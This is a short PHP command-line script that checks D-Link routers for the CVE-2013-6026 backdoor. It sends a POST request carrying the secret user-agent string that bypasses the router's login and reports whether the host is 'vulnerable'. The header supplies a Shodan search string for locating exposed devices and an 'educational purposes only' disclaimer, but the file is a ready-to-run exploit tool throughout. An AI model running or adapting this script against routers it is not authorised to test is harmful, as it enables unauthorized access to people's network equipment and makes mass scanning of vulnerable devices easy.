D-Link Backdoor Czechr

`#!/usr/bin/php  
<?php  
/*  
.---------------------------------.  
| |  
| dlinkd - D-link backdoor czechr |  
| |  
.-------------------------------------------------------------------------------.  
| Written by @dustyfresh - 10/13 |  
.-------------------------------------------------------------------------------.  
| See: http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/  
| http://www.security-database.com/detail.php?alert=CVE-2013-6026  
| Usage(command-line only):  
| ./dlinkd http://192.168.1.1:8080/  
| Shodan dork:  
| thttpd-alphanetworks/2.23  
.-------------------------------------------------------------------------------.  
| Educational purposes only, kkthnx. |  
| http://rootatx.com/ || http://staypimp.in/ |  
.-------------------------------------------------------------------------------.  
| GNU GENERAL PUBLIC LICENSE  
|  
| Version 3, 29 June 2007  
|  
| Copyright © 2007 Free Software Foundation, Inc. <http://fsf.org/>  
| Everyone is permitted to copy and distribute verbatim copies of this license  
| document, but changing it is not allowed.  
|  
| http://www.gnu.org/licenses/gpl.html  
.-------------------------------------------------------------------------------.  
*/  
error_reporting(1);  
set_time_limit(0); // ain't nobody got time fo' dat  
$help = "\t--help, this help menu\n\nexample: ./dlinkd http://192.168.1.1:8080\n";  
$host = $argv[1];  
$curl = curl_init($host);  
$swag = array(  
CURLOPT_HEADER => 'true',  
CURLOPT_POST => 'true',  
CURLOPT_USERAGENT => 'xmlset_roodkcableoj28840ybtide', // the secret ingredient  
CURLOPT_RETURNTRANSFER => 1  
);  
curl_setopt_array($curl,$swag);  
switch($argv[1]){  
case NULL:  
die($help);  
break;  
case "--help":  
die($help);  
break;  
}  
$sup = curl_exec($curl);  
$return = curl_getinfo($curl);  
curl_close($curl);  
$exit = $return['http_code'];  
if($exit != 200){  
print "[$host] :( This door is locked.\n";  
} else {  
print "THIS IS A TRIUMPH! [$host] is vulnerable\n";  
// 'murica, ah'll tell u whut  
}  
?>  
  
`